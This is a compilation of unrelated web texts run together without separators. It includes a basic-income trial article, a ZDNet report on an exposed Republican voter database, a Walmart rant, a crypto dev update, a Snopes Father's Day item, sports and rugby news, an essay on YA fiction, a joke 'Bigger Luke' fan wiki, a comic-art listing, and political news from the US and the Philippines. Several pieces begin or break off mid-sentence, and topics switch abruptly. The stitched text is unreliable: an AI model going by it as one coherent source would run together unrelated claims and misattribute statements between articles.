The experiment also has a special difficulty due to the Finnish constitution's guarantee of equality, a guarantee that possibly conflicts with a policy randomly giving some people checks with no strings attached while giving others nothing. The PowerPoint suggests that the researchers will seek to get around this through the local experiments (where everyone in one area can get benefits, so people at least on the local level are equal) and perhaps by making participation voluntary, which could lead to some selection bias.
But all told, Kangas is overseeing what is by far the most important and informative test of a basic income to date. It's the first time a non-negative income tax basic income plan will be experimentally tested using rigorous methods in a developed country. That's a huge, huge deal, and we should all be paying attention in 2019 when the evaluations begin to trickle in. It's still very up in the air what the trial will show, and how the government will decide to use its findings.A huge trove of voter data, including personal information and voter profiling data on what's thought to be every registered US voter dating back more than a decade, has been found on an exposed and unsecured server, ZDNet has learned.
It's believed to be the largest ever known exposure of voter information to date.
The various databases containing 198 million records on American voters from all political parties were found stored on an open Amazon S3 storage server owned by a Republican data analytics firm, Deep Root Analytics.
UpGuard cyber risk analyst Chris Vickery, who found the exposed server, verified the data. Through his responsible disclosure, the server was secured late last week, and prior to publication.
This leak shines a spotlight on the Republicans' multi-million dollar effort to better target potential voters by utilizing big data. The move largely a response to the successes of the Barack Obama campaign in 2008, thought to have been the first data-driven campaign.
Through a handful of companies, including data firms, market researchers, and analytics providers, the GOP replicated that Obama campaign strategy by helping its political candidates make data-based decisions about their campaigns.
The exposed records include files provided by Data Trust, a data warehouse created by the GOP to serve as its exclusive data provider of voter records. The company sells and supplies voter data to political candidates, who rely on access to the data in order to shape their campaigns.
According to UpGuard, the folder includes dozens of spreadsheets containing a unique GOP identifier for each voter for the 2008 and 2012 presidential campaigns, which link to "dozens of sensitive and personally identifying data points, making it possible to piece together a striking amount of detail on individual Americans specified by name." A folder containing 2016 data only included files for Ohio and Florida, two crucial battleground states.
Each record lists a voter's name, date of birth, home address, phone number, and voter registration details, such as which political party a person is registered with. The data also includes "profiling" information, voter ethnicities and religions, and various other kinds of information pertinent to a voter's political persuasions and preferences, as modeled by the firms' data scientists, in order to better target political advertising.
Senior executives at Data Trust would not speak on the record prior to publication.
The exposed server was also found to contain gigabytes of data from TargetPoint, a conservative market research firm focused on helping candidates better understand voters' policy preferences and political actions. Some of these files, says UpGuard, contain millions of entries that appear to rate voters on the post-election likelihood of supporting a certain policy, candidate, or belief on a scale of "very unlikely" to "very likely."
An email to TargetPoint prior to publication went unanswered. (If we hear back, we will update.)
Deep Root, which claims to be the "most experienced group of targeters in Republican politics," uses that wealth of data to help its political clients make better decisions when buying television advertising air-time.
That, the hope is, allows prospective Republican candidates and their committees to target pro-trade Republicans who might vote blue, and Democrats who want tighter immigration controls who can be convinced to vote red.
Alex Lundry, co-founder of Deep Root, confirmed the company owned the Amazon S3 storage server, and said in an email that company has taken "full responsibility for this situation."
"Deep Root Analytics has become aware that a number of files within our online storage system were accessed without our knowledge," said Lundry.
"The data that was accessed was, to the best of our knowledge proprietary information as well as voter data that is publicly available and readily provided by state government offices. Since this event has come to our attention, we have updated the access settings and put protocols in place to prevent further access."
We accept full responsibility, will continue with our investigation, and based on the information we have gathered thus far, we do not believe that our systems have been hacked," he said.
This isn't the first batch of voter data found by Vickery.
Vickery, who we profiled on ZDNet earlier this year, found 87 million Mexican voter records in an exposed database in 2016.
He was also responsible for discovering several US voter databases online totaling 18 million voters, and the state of Louisiana's entire database of 2.9 million voters.
Deep Root's exposure also appears to be larger than the 191 million voter records exposed in late 2015, and another massive leak of 154 million voter records a year later.Want Proof case in point Walmart the richest company and biggest employer in America.
In 2010 it was the world’s largest public corporation by revenue, according to the Forbes Global 2000 for that year.[
Wal-Mart, headquartered in Bentonville, Arkansas, is the largest majority private employer[7] and the largest grocery retailer in the United States. http://en.wikipedia.org/wiki/Wal-Mart
So what is next for Wallmart? Well same store sales the best indication of store sales growth since we can look back at what they sold last year has been declining.
six consecutive quarters of declining same-store sales. http://www.mediapost.com/publications/?fa=Articles.showArticle&art_aid=141066 The U.S. Census Bureau announced today that advance estimates of U.S. retail and food services sales for October, adjusted for seasonal variation and holiday and trading-day differences, but not for price changes, were $373.1 billion, an increase of 1.2 percent http://www.census.gov/retail/marts/www/marts_current.pdf
But American retail sales are growing so you have to ask WTF is Wallmart doing? American retail sales have grown 1.2%. Never mind that the American population has also grown since last year. Never mind that just how many other retail stores heck entire retail chains that competed with WallMart have gone under during the Recession. But Wallmart’s same store sales have been down for 6 quarters?
Wallmart brags about being cheaper than other retail stores but Dollar Stores are stealing market share and in this economy cheapest wins.
So what is Wallmart doing about it? America is the biggest, richest consumer economy in the world defending their market share here should be the priority.
Instead Walmart is taking its tax cut money and using that to expand into other countries less well off countries where the people have less money.
Wal-Mart’s international operations currently comprise 4,263 stores and 660,000 workers in 15 countries outside the United States.[60] There are wholly owned operations in Argentina, Brazil, Canada,and the UK. With 2.1 million employees worldwide, the company is the largest private employer in the US and Mexico, and one of the largest in Canada.[61] In the financial year 2010, Wal-Mart’s international division sales were $100 billion, or 24.7% of total sales.[43] http://en.wikipedia.org/wiki/Wal-Mart#Wal-Mart_International
Its ok to invest in other countries but why is Wallmart sacrificing market share in America a country with the biggest, richest shoppers to expand in places like Mexico do they like less profit and given Mexico’s crime rate higher insurance premiums?
Wallmart should be expanding sales at existing stores they should be creating jobs here in America with all the profits they made in America.
Now imagine if America had tariffs on the cheap foreign goods Walmart sells. Imagine if everything Wallmart sold was MADE IN AMERICA!
Imagine how many Americans would have jobs imagine how much more stuff people would be buying at Walmart. Alan Greenspan and Tom Friedman are wrong about the savings of outsourcing jobs.
Cheaper goods only help the economy if the workers who used to make the cheap goods get other jobs. So they can afford to buy those cheaper goods!
The bubble/ponzi scheme jobs of the past are gone either we create new jobs here in America or Wallmart our biggest employer will keep losing market share.
If whats good for Walmart is good for the United States then making America their biggest most profitable market more profitable should be the priority.
A Chinese worker getting a 5% yearly raise and spending it all at Wallmart is much less profit for Walmart than an American worker getting a 5% raise and spending it all at Wallmart since Americans are paid more.
Does anyone at Wallmart understand economics?Dev update — Sept 8, 2017
TenX Blocked Unblock Follow Following Sep 8, 2017
This week we started off with Julian’s AMA (ask me anything) live video stream with the e27 community who were nice enough to host us and spread the word about TenX.
On Tuesday Paul was at the Product Hunt Singapore meetup to talk about our product design, UI/UX and development journey. It was a great experience to meet like minded product focused and obsessed people from the tech community, to reach out and talk crypto and share how we are building the product with you, our community.
TenX at Product Hunt Singapore meetup
Another highlight this week was Jaxx adding support for PAY tokens in their popular wallet app for multiple devices.
TenX PAY on Jaxx wallet
We also shared our TenX team core values and our culture. We talk a little about it on the latest vlog as well. Check it out if you haven’t yet!
TenX core values and culture
A quick update on the product side of things are as follows:
iOS app
Version 0.3 submitted to app store, to be released soon
QA and fixing issues reported by testers and community from version 0.2
Fixed performance issues, fixed ‘session token expired’ loop and refactored code
Enhancing app UI/UX
Web app
Still working through bug fixes and feature requests
Added SMS login
Allowed changing of emails
Updated validation rules
Continuing work on backend admin panel redesign and feature implementation underway to speed up support queries
Android app
Completed KYC information upload from camera with preview/crop feature and ability to upload from gallery
Still working on modifying user phone number functionality
UI bug fixes and preparing for a big UI/UX revamp
Splash screen and onboarding screens close to completion
Signup and login screens being worked on now
ETH, ERC20 and DASH stability integration
Completed an internal testing round
Working on making ETH/ERC20 more scalable and robust
Gradual rollout of ETH activation to a bigger group of users, more to come in the coming weeks
If you want to keep up with our latest progress please:
Hang out with us in our community Slack
Follow TenX on Facebook
Follow TenX on Twitter
Subscribe to the TenX subreddit
Subscribe to us on YouTubeWe’re back from a one week break — did you miss us? Well, good news. This week we have some new website features for you.
The Training Center has a new look and we’ve added aggregated statistics. Now you can see your overall weakness from the past 30 days of ladder replays.
Next, we’ve added unit stats to your profile. Fan of the hero units in the ladder challenge updates? Now you can see how many kills your hero units have, as well — and whole load of other stats!
Lastly, we just wanted to let you know that the replay list on your accounts page now only shows replays from the account you have filtered. This means by default it will show replays from your main account only. To see your other replays, just choose a different account filter at the top of the page.
- Sc2replaystats.com staffClaim: Historically, more collect phone calls are made on Father’s Day than on any other day of the year.
TRUE
Origins: Though it might seem there never was a time when we weren’t honoring dear old Dad on his designated holiday,
Father’s Day is a relatively new entry in the calendar of Western celebrations. It was the brainchild of Sonora Smart Dodd of Spokane, Washington, whose own dad, Civil War veteran William Smart, raised six children on his own after his wife died in childbirth. Why not a day to honor him and men like him, thought Sonora during a 1909 Mother’s Day sermon.
The first Father’s Day was held on 19 June 1910, the day chosen because it was the birthday of William Smart. Although many congressional resolutions proclaiming a national Father’s Day were introduced through the years, the holiday was made official only in 1972 when President Richard Nixon signed
a presidential resolution that declared Father’s Day as the third Sunday in June.
According to Hallmark, “Father’s Day is the fourth-largest card-sending occasion with nearly 95 million Father’s Day cards expected to be given this year [2006] in the United States.”
Yet it is another statistic related to the day that is more impressive: While Mother’s Day is the biggest holiday for phone calls, Father’s Day is the busiest for collect calls. (The overall busiest day of the year for phone calls is the Monday after Thanksgiving.)
In 1998, Dave Johnson, a spokesman for AT&T’s corporate headquarters in New Jersey, said, “Father’s Day is our biggest day for collect calls, not just the biggest holiday, but the biggest day of the year.” These calls are inclined to be longer than the average, too.
“The difference between Father’s Day and Mother’s Day and a typical Sunday is that calls on the holidays tend to be three to four minutes longer,” said Johnson. “A typical long distance call is eight minutes long. Mother’s Day and Father’s Day calls average eleven minutes.”
This state of affairs has been the way of things for years. In 1992, AT&T reported 83 million calls were made on Father’s Day, compared to 106 million for Mother’s Day. But 27% more of the Dad’s Day calls were collect.
It remains to be seen if the shift of recent years away from landlines and “pay as you go” long distance charges toward cell phone agreements that supply a specified number of minutes that can be used for either local or faraway calls will change this outcome. With more cell phones loaded with already paid-for minutes in the hands of more progeny, will there be fewer collect calls to dear old dad on his day, or will the trend continue? Similarly, will prepaid long distance (calling) cards fund some of the calls previously made by reversing the charges to papa?
As to why children tend more strongly towards leaving the male parent on the hook for phone charges, Dr. Brenda Wall, a family psychologist in
Dallas, Texas, postulates, “We have a different sociological response to our parents that is gender and role-related. We’ve always looked to mom for love and
nurturing. But when we look to dad, it’s usually a business transaction or something that relates to power, positioning, or money.”
Those feeling overcome with pity for the many men whose progeny call on their special day only to stick them with the bill should consider that Mother’s Day is second on the list for collect calls. And Valentine’s Day is third.
Barbara “indian-giver love calls” Mikkelson
Last updated: 21 June 2015
Sources:The NFL Top 100 Players of 2017 is filled with Seattle Seahawks stars, with Richard Sherman ranking the highest at 21st. Barring a completely unexpected choice of Jimmy Graham making it into the top-20, I believe Sherman is the last Seahawk on this year’s edition, giving the team a league-high eight players.
Out of pure curiosity, I looked up every Top 100 Players ranking since its creation in 2011, and quickly mapped out the progression of Seahawks players and rankings over the years. For whatever value you see in these offseason lists, going from having none to the most over the duration of Pete Carroll’s tenure is pretty damn cool.
There is one disclaimer: I have not included any Seahawks players who had earned their ranking with their previous team. That means Percy Harvin (2013 offseason) and Jimmy Graham (2015 offseason) do not count.
2011 (0)
No players
2012 (2)
Earl Thomas (66th), Marshawn Lynch (94th)
2013 (5)
Marshawn Lynch (24th), Richard Sherman (50th), Russell Wilson (51st), Earl Thomas (66th), Max Unger (95th)
2014 (5)
Richard Sherman (7th), Marshawn Lynch (14th), Earl Thomas (17th), Russell Wilson (20th), Kam Chancellor (65th)
2015 (7)
Marshawn Lynch (9th), Richard Sherman (11th), Earl Thomas (21st), Russell Wilson (22nd), Kam Chancellor (41st), Bobby Wagner (69th), Michael Bennett (90th)
2016 (6)
Russell Wilson (17th), Richard Sherman (20th), Kam Chancellor (32nd), Michael Bennett (59th), Earl Thomas (66th), Doug Baldwin (72nd)
2017 (8)
Richard Sherman (21st), Russell Wilson (24th), Earl Thomas (30th), Kam Chancellor (34th), Bobby Wagner (39th), Michael Bennett (46th), Cliff Avril (56th), Doug Baldwin (88th)
Final breakdown
Seahawks NFL Top 100 history Player Debut Years Ranked Highest Ranking Lowest Ranking Player Debut Years Ranked Highest Ranking Lowest Ranking Earl Thomas 2012 6 17th 66th Richard Sherman 2013 5 07th 50th Russell Wilson 2013 5 17th 51st Marshawn Lynch 2012 4 09th 94th Kam Chancellor 2014 4 32nd 65th Michael Bennett 2015 3 46th 90th Bobby Wagner 2014 2 39th 69th Doug Baldwin 2016 2 72nd 88th Cliff Avril 2017 1 56th N/A Max Unger 2013 1 95th N/A
A fine group of ten, with everyone except Lynch and Avril originally signed by the Seahawks (either through the draft or as an undrafted free agent). Technically speaking, Seattle cut Bennett in
|
disadvantage have now factored in help from organisations like the Salvation Army. They may call on more than one of them weekly or fortnightly because they have no other choice." An estimated 2.5 million Australians live below the poverty line, including 603,000 children.
The survey found that two-thirds of parents were unable to afford children's activities or an internet connection and one-third could not provide fresh fruit and vegetables for their children each day. Dental treatment was out of reach for 68 per cent of respondents and 37 per cent could not afford to see a doctor. Skipping meals and defaulting on utility bills were common. Major Harmer said he was concerned by the prolonged deprivation experienced by people in the survey. "In many ways they are trapped in a prison of poverty," he said. "There are no bars, there are no locks, there are no guards but they certainly can't escape. The longer you spend in that dark place, the harder it is to climb out and get yourself back on that even keel." The report, to be released on Wednesday, will be sent to the federal and state governments, with Major Harmer hoping it will encourage welfare reform.
The Salvation Army hopes to raise $9.5 million from this year's Red Shield Appeal, with the national doorknock on May 30-31. "Australians stand side by side in times of crisis such as a cyclone or a flood," he said. "This report shows us that entrenched poverty is a slow-burning disaster. It's just as bad as a cyclone or a flood but it's there all the time." Professional next door neighbours Jason Poutawa spent his childhood in public housing estates but it was a transfer to Ivanhoe Place in Macquarie Park which helped him to turn his life around.
He was 10 when he, along with his mother and brother, moved to Ivanhoe Place, then beset with domestic violence, drug abuse and other criminal activity. "A lot of people were scared to come out of their houses," he said. His school work suffered as his single mother found it hard to assist him with his homework and the family could not afford an internet connection. It was the police who suggested the Salvation Army embed themselves in the community to address the social issues and in 2001 members of the Ryde Salvation Army Corps Craig and Danni Stephens moved to number 47 Ivanhoe Place with their three children. "They became professional next door neighbours," Mr Poutawa said. "They started a bunch of programs for children in the community. They started a study program to help kids with their homework, they got internet access which we didn't have at home, they put on holiday activities so we had something to do instead of getting into trouble."
With the support of the Stephens, Mr Poutawa, 28, has broken the cycle of disadvantage. He continued his studies and now works as a youth counsellor. "If it wasn't for people like Craig and Danni I would not be the person I am today," he said. "They supported me and believed in me to the point where I could believe in myself."Manly Sea Eagles utility back Peta Hiku has re-signed with the Club for a further three years, keeping him at the Club until the end of the 2017 season.
The 21-year-old joined the Sea Eagles in 2013 on a two-year deal and has made 22 appearances for the Club, while also debuting for New Zealand in the recent ANZAC Test Match.
The Sea Eagles brought the talented Kiwi across from New Zealand last year and the young utility is pleased to have secured his future with the Club.
“I’m really happy to have re-signed with the Sea Eagles,” Hiku said.
“The Club gave me the chance to prove myself in the NRL, so it’s nice to know I’m here to stay and I’m really looking forward to the next few years.”
“I’d like to thank the Club for the opportunity, as well as the members and fans for their support as always.”
Read more at SeaEagles.com.auI mean just look at this thing. LOOK AT IT. It's gorgeous. Yes, this is only a rendering, but this is a DAMN good one.
The Ford Bronco is probably one of the most hyped truck launches in the history of autos. That's no joke. Bronco fans have been waiting for what seems like several eons for the next iteration of the cult hero. We'll get it in 2020, but no one knows what it might look like.
Some have been rendering different ideas and we got this one a while back which, in my opinion, looks incredibly bad ass.
However, this new batch of renders are even more impressive.
Apart from these bitchin' renderings, we have literally no clue what this thing will handle. We do know that it will share some parts with the Jeep Wrangler as Ford has partnered with the folks over at Dana Supply for the front and rear axles.
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It will likely be based on the Ranger platform, but that remodel won't come out until 2019. What do you think? Do you like these renderings?
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# shiftinglanes # newsAdulthood Means a Bigger Library; Why Not Continue Reading YA?
With the recent explosion in popularity of YA literature—beginning with Harry Potter in 1997 and growing exponentially with the widely read Twilight, The Hunger Games, Divergent, and The Fault in Our Stars—readers both young and old are filing into bookstores. In fact, more than half of YA novels are bought and read by adults, not teens. But with this increase in YA book sales comes backlash, such as that from Slate earlier in June, who said that adults “should feel embarrassed when what you’re reading was written for children.” Critics fear that teen-populated YA fiction is replacing “serious” literature among adult readers—and they’re beginning to judge adults readers of YA as somehow inferior. In truth, though, adults are simply realizing that YA has just as much to offer as fiction “meant for” adults.
When readers see young adult fiction, the majority will think of vampires, dystopian worlds, or naive romance. But what defines YA, really? In the world of adult fiction, there is high-brow literature, there are light reads, there’s dark crime fiction, there are romances, sci-fi, fantasy, and more. Genres are defined by tropes, writing styles, and sometimes page count—not by their target audience. Go the F–k to Sleep, for instance, is inarguably a picture book, but it’s definitely not for children. The format does not the audience make. YA fiction is no different.
The purpose of YA as a genre of fiction is to represent the life experiences of young adults, generally age thirteen to eighteen. A protagonist of this age is generally considered fundamental to the genre, as is the relative lack of adult themes, such as explicit sex and violence. Think a PG-13 movie: you’re allowed one F-bomb, no nudity (though kissing and sexual inference is fine), and minimal gore and drug use. That’s it. It happens that the assumed audience of YA is teens because the content of the books is appropriate for them (but just risqué enough to be exciting and make them feel grown up, and let’s face it, that’s what they really want), because they are members of the group of humans it aims to represent, and because, due to these factors, it’s marketed to them.
It makes sense that YA is read by teens. And it’s good. Having teenagers read books that feature characters similar in age and facing similar problems gets them more interested in books and allows them to reap the benefits of reading: namely better empathy skills. What doesn’t make sense is judging adults for enjoying the books as well. Just as an adult can watch a PG-13 film, an adult can read a novel documenting the experiences of a fifteen-year-old kid. We don’t refuse to read a book because the protagonist is of a different ethnicity or religious creed than us; discriminating based on age should bother us just the same. Adults need to be able to empathize with the emotions and experiences of teens, too.
Critics fear YA’s increase in adult readership because they believe it does not hold literary merit. This belief is hurtful both to teens and to the authors. It is also an overgeneralization. There are a variety of YA genres, just as there are adult genres, and each book (not just each genre) varies in its reading difficulty, writing style, and use of literary technique. Book-by-book, sure, but denouncing a whole genre’s permission to be eligible for serious critical reflection severely hurts the emotional and literary development of its readers, and it inhibits the evolution and betterment of a culture of which literature (no matter the genre) is an integral part. If you tell a reader that the genre they’re reading is inferior, they’re not going to pick up something you deem worthy—they’re going to stop reading. And that changes literary culture more than any genre does.
The beauty of being an adult is that we get to make choices about the books we read. So what if the main character is struggling through teenage issues, rather than adult ones? Just because it’s appropriate for a teen doesn’t mean it’s not appropriate for an adult. The two are not mutually exclusive. Entering into adulthood does not mean you must shut out books appropriate for a younger audience. It simply means that your scope of available books has widened. You can read adult fiction in addition to young adult fiction, unlike children and teens, who may not be ready yet to expand their repertoire of available literature. A new level of the library has opened up to you, but the previous one has not sealed off. There isn’t a “No Adults Allowed” sign. It remains open for your reading enjoyment.
Fear not the eye of the literary critic—your worldly understanding of the human experience (from a variety of ages and backgrounds) is widening while theirs is staying stagnant.
Aimee Jodoin is deputy editor at Foreword Reviews. You can follow her on Twitter @aimeebeajo.
Aimee Jodoin
July 10, 2014Bigger Luke
The approximate scale of Luke Prime shown relative to the generally agreed size of Bigger Luke.
Bigger Luke, commonly abbreviated to BL, or more uncommonly BgL, is the slightly larger manifestation of Luke Skywalker that is said to appear in certain scenes of the original Star Wars Trilogy, contrasting to Regular Luke.
The appearance of Bigger Luke in a particular scene is generally, but not always, judged relative to the height of Han Solo, and as such Han is the primary go-to frame of reference amongst Bigger Luke Theorists. Because of this, "No Han Pics"(commonly abbreviated to NHP) are generally discouraged, as it is very difficult to determine Luke's height without Han Solo as a constant frame of reference. Whilst uncommon, the use of other Star Wars characters to judge Luke's height are not unheard of. The second most common character to judge if Bigger Luke is in the scene or not has generally been Obi-Wan, followed closely by Princess Leia. The activity of combing the original Star Wars trilogy for instances of Bigger Luke is known as Luking.
Theories
There have been many elaborate theories as to why there exists a larger version of Luke Skywalker in the original Star Wars films, however most theories fall into two general categories:
The Canon Luke Hypothesis, sometimes simply The Bigger Luke Hypothesis, in which it is theorized that within the Star Wars universe and canon there does indeed exist a version of Luke Skywalker that is slightly larger than a posited regular Luke Skywalker, or Luke Prime.
The Hamill Hypothesis, in which it is theorized that there exists an uncredited Mark Hamill look-alike who was used in certain scenes of the original trilogy for undisclosed reasons and whose identity has yet to be determined.
The Canon Luke Hypothesis is the most popular of the two, with the Hamill Hypothesis a close second.
Visual Evidence
Evidence for the existence of Bigger Luke is scattered throughout the original Star Wars films, predominantly, or at least most well documented, in A New Hope. If one were to juxtapose multiple scenes containing both Luke Skywalker and Han Solo standing up in the same frame, one would quickly be able to discern the existence of a slightly larger version of Luke Skywalker, dubbed the titular Bigger Luke. It is generally agreed that Bigger Luke is approximately two to three centimeters / approximately an inch taller than Regular Luke, but disagreements as to the exact height discrepancy do exist, and tend to be muddled due to perspective. See Size Debate for more details.
Bigger Luke. Note the size discrepancy indicated by the red line in the previous image.
A Larger World
It is believed by supporters of the Canon Luke Hypothesis that Obi-Wan's line shortly after Luke first succeeds in blocking the training remote's shots (You've taken your first step into a larger world) is evidence of Obi-Wan's knowledge of there being a larger Luke Skywalker. Elaborated on here.
A little short for a Stormtrooper?
Another commonly held theory is that Princess Leia's comment towards Luke shortly before being rescued (Aren't you a little short for a Stormtrooper?) is a thinly-veiled acknowledgement of the existence of a size discrepancy between different versions of Luke Skywalker. Because this is an in-universe acknowledgement, it is generally deemed evidence in favor of the Canon-Luke Hypothesis, as opposed to the Hamill Hypothesis, as it seems very unlikely that a Star Wars character would acknowledge the existence of different actors.
Conversely, supporters of the Hamill Hypothesis argue this could be some form of easter egg on the part of the production team, and therefore does not explicitly favor ether the Canon Luke or Hamill Hypothesis'. Other supporters of the Hamill Hypothesis even go so far as to claim it is unlikely Princess Leia would be aware of different versions of Luke Skywalker at this point in the timeline, and therefore it is, in fact, evidence in favor of the Hamill Hypothesis. Detractors claim that, through the force, Princess Leia could subconsciously manifest some form of awareness of the existence of two versions of Luke, but not be innately aware of it, merely seeing her statement as a witty quip.
Some suggest that a more literal interpretation of Carrie Fisher's line would indicate evidence towards the extremely controversial and fringe Smaller Luke Hypothesis. See FORA for more details.
The line "Aren't you a little short for a Stormtrooper?" does not seem to appear in the original script of Star Wars. Therefore the decision to reference Bigger Luke in some way or another must have been done later in development.
Biggs
There has been some suggestion that the inclusion of the peculiarly named character of Biggs Darklighter in the Star Wars canon is a direct hint as to the existence of a slightly larger version of Luke Skywalker.
Lando's reaction to first seeing Luke
Lando's first viewing of our hero.
At over an hour and a half into The Empire Strikes Back, Luke arrives at Cloud City and soon falls under attack by Imperial Stormtroopers escorting Leia, Chewbacca, and C3PO shortly after being shot at by Boba Fett. During this scene, Lando Calrissian lays his eyes on our hero for the very first time, and quickly loses interest. However, towards the end of this scene Lando appears to stare at Luke with a very perplexed expression. Being the proficient card player and gambler that he is, one would assume that Lando Calrissian had a very keen eye - perhaps the best eyes in the galaxy. It is therefore distinctly possible that Lando did in fact perceive a height change in Luke between two different viewings.
What could possibly trigger such bewilderment in Lando but a sudden change in Luke's size mere seconds between viewings?
One would come to the conclusion that, if Lando was indeed observing a shift in Luke's size, perhaps even accompanied by a subtle flicker, then this rules heavily in favor of the Canon Luke Hypothesis, if not flat out refutes the Hamill Hypothesis. However, subscribers to the HAMCAN sub-theory of the Hamill Hypothesis can easily reconcile this discrepancy.
Gallery
An instance of Bigger Luke at about 1 hour 5 minutes into A New Hope. Bigger Luke appears slightly larger than he normally does due to leg height not being a factor in this image.
Bigger Luke at approximately 1 hour and 10 minutes into A New Hope. Han is the one wielding the long rifle.
Again at 1 hour and 11 minutes.Artwork Details Title: Gold Key Turok Son of Stone #58 Original Cover Art Artist: George Wilson (Painter) Media Type: Paint - Acrylic Art Type: Cover For Sale Status: NFS Views: 1,626 Likes on CAF: 0 1 Comments: 2 Added to Site: 10/19/2013 Comic Art Archive: Turok, Son of Stone
Issue: 58 Page: cover View
Description This is a screen capture of the original cover art for Gold Key's Turok Son of Stone issue # 58 (later reused in a subsequent issue where an acetate overlay was used to cover up the aliens) which I was recently able to win in an Ebay bid. I'm currently having it archival framed, and will scan and upload photos once completed.
Artwork measures approximately 30 x 39 cm in thick illustration board.
This cover was also used in a more recent hardcover compilation of Turok comics by Dark Horse,
Been a huge fan of this series for over 30 years. Interesting backstory for this painting: I'm not sure where it's been to before it was listed in Ebay,. The seller was registered in Uruguay. I had it sent to my current address in Kuala Lumpur, Malaysia. A week back I sent it to get archival framed in Singapore. In a few months I am planning to have it shipped to my permanent hometown address in the Philippines. It's amazes me to think of the history of art pieces like these - who they've changed hands on through the years, where they've been, and where they are!
Social/Sharing Share this item on a blog/forum/website To share this item on your favorite blog, forum or website, just copy the html from the box below. Gold Key Turok Son of Stone #58 Original Cover Art Click Here to visit my Art Gallery on comicartfans.com! [ click to close ]Image caption Blizzard, creator of Diablo, said it did not call for the take-downs
Major games publishers have offered their support to fans who have had gameplay clips removed from YouTube due to "illegitimate" copyright claims.
Changes in the way Google-owned YouTube scans videos had caused a spike in clips being taken down.
But Capcom, Blizzard and Ubisoft all said they wanted footage of their games to remain online.
Gameplay videos are extremely popular on YouTube, with some channels having millions of subscribers.
The clips, which sometimes are more than an hour long, typically show an adept gamer playing portions of popular titles.
Technically, uploading footage is a breach of copyright. However, many publishers see the clips as a useful and effective means of promotion for their games. The creators of the videos sometimes use advertising to make money from their efforts.
Due to the sheer volume of clips uploaded, Google uses a system known as Content ID to seek out videos that contain copyrighted material.
"We recently enabled Content ID scanning on channels identified as affiliates of MCNs [Multi Channel Networks]," YouTube said.
"This has resulted in new copyright claims for some users, based on policies set by the relevant content owners."
The move has meant hundreds of gaming videos have been flagged in the past few days.
'Illegitimate flags'
But publishers worried about a potential backlash from vocal fans moved quickly to make it clear they had not been behind the spike in take-downs.
"If you're a YouTuber and are receiving content matches with the new changes, please be sure to contest them so we can quickly approve them," tweeted Blizzard, publisher of the Diablo series.
Capcom wrote: "YouTubers: Pls let us know if you've had videos flagged today. These may be illegitimate flags not instigated by us. We are investigating."
Ubisoft pointed out to users that take-down requests may be due to the music used in the clips, rather than the game footage.
"If you happen to be hit with claims on any of your Ubisoft content, it may be that some of the audio is being auto-matched against the music catalogue on our digital stores," the company explained in a statement.
Another developer, Deep Silver, also said it had not called for removal of footage.
Gameplay videos, and the legality of making them, has become an increasingly controversial issue between gamers and rights holders.
Earlier this year, Nintendo announced it would take a share of advertising revenue generated from gameplay clips - a decision described as "backwards" by some of the company's fans.
The company defended the move, saying it was necessary to ensure content could be shared across social media, and that the alternative was to block it altogether.Today we released Pods 2.5 on WordPress.org. This release encompasses a large number of bug fixes and performance updates from the Pods team and Pods community. This release introduces no new features, it is simply less buggy and more performant than Pods 2.5. The new version, which is fully tested with WordPress 4.1, is available via our WordPress.org page and the plugin admin in the WordPress dashboard.
This release has been extensively tested, and is our first to be developed using our unit testing suite. We now have 1,858 tests with a total of 13,420 assertions covering every combination of content type and field that we could imagine with relationships multiple levels deep. As always we encourage bug reports, and feature requests, as well as pull requests at our Github repository.
The Pods team would like to extend a special thanks to a volunteer contributor James Golovich, who was a major contributor to this release and led the optimizations that have dramatically improved the performance of Pods. We’d also like to welcome newcomer Nikhil Vimal, whom you may recognize from elsewhere in the WordPress community.
For a full breakdown of the changes, please see the changelog.President Donald Trump will roll out a new executive order on Tuesday that eliminates several Obama-era climate change orders in favor of policies centered on so-called “energy independence”.
A senior administration official said that the coming EO will review some and take other Obama executive orders “off the books immediately to the extent we can,” while also looking forward to providing a “beginning framework for a strategy on energy.” Under the new order, each executive department and agency in the U.S. government will be responsible for identifying impediments to energy production.
Former President Obama’s Clean Power Plan, which has been tied up in the courts, will be reviewed and probably find itself on the chopping block in Trump’s new order. There is not a time frame for review of the Clean Power Plan, but the official predicted that there would be court challenges regarding that aspect of the EO. The new rule from the Clean Air Act will also be reviewed.
The Interior Department-imposed coal moratorium will also be rescinded, according to the official.
The official listed Obama Administration Presidential memorandums, including the 2013 Climate Action Plan, among what will be rescinded, “…that obviously will be going away.” A total of about six executive orders and memorandums will be rescinded.
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EmailMetro Manila (CNN Philippines, September 20) — The proposed budgets of three agencies next year, which shrunk to P1,000, will be restored after all.
The House Appropriations Committee released a statement on Wednesday, saying the restoration of the budgets of the Commission on Human Rights (CHR), Energy Regulatory Commission (ERC), and National Commission on Indigenous People (NCIP) were approved "after the respective heads of the three offices appealed to Speaker Pantaleon Alvarez."
House Majority Leader Rudy Fariñas and Appropriations chairman Karlo Nograles mediated between Alvarez and and CHR Chairman Chito Gascon, ERC Commissioner Geronimo Sta. Ana, and NCIP Chair Leonor Oralde-Quintayo.
"The Speaker basically told Chairman Gascon that we are not the enemy. The Duterte government is not the enemy. We are one with the CHR in the fight against all forms of human rights violations but they must start looking also at the violations committed by criminals and insurgents," Nograles said.
The CHR's 2018 budget was slashed to just P1,000 after it was accused of being selective in its investigations on human rights violations.
Gascon, who said he was grateful for the decision, clarified that the commission has a "broad mandate" on human rights, which also involves violations committed by non-state actors.
"But if they expect us to perform the function that the police perform, that's something we are unable to do because we are not the police force. I made that clear," Gascon told CNN Philippines Wednesday night.
The Human Rights Commission chair said they have had investigations involving non-state actors, but they are focusing on the most predominant human rights violations on ground.
Gascon said the commission will be focusing on human rights protection services for 2018, which will include legal services, legal aid, witness protection, and educating the public on human rights, among others.
"It's a full plate, that's why it would have been impossible with a P1,000 budget. But with the restoration of our budget to reasonable levels, perhaps we can do more," Gascon said.
NCIP and ERC
As for the ERC and the NCIP, Nograles said Alvarez and Farinas "secured their assurance that they would start taking all the necessary steps to fight graft and corruption and to carry out the full mandate of their office."
READ: Why House solons gave 3 gov't agencies ₱1,000 budget
Bayan Muna Representative Carlos Zarate on September 12 said the NCIP failed to protect the Lumads, an indigenous people group in Mindanao.
"The NCIP has been blind, deaf, and mute as hundreds of indigenous peoples have been killed throughout since its institutionalization in 1998," he alleged.
From P1.1 billion, the proposed NCIP budget shrunk to P1,000.
The ERC was also given the same P1,000 budget from its P351-million proposal. The congressmen said controversies continue to hound the commission.
Among the controversies the commission faced was the suicide of the late ERC Director Jun Villa due to alleged corruption in the agency involving ERC chair Jose Vicente Salazar.
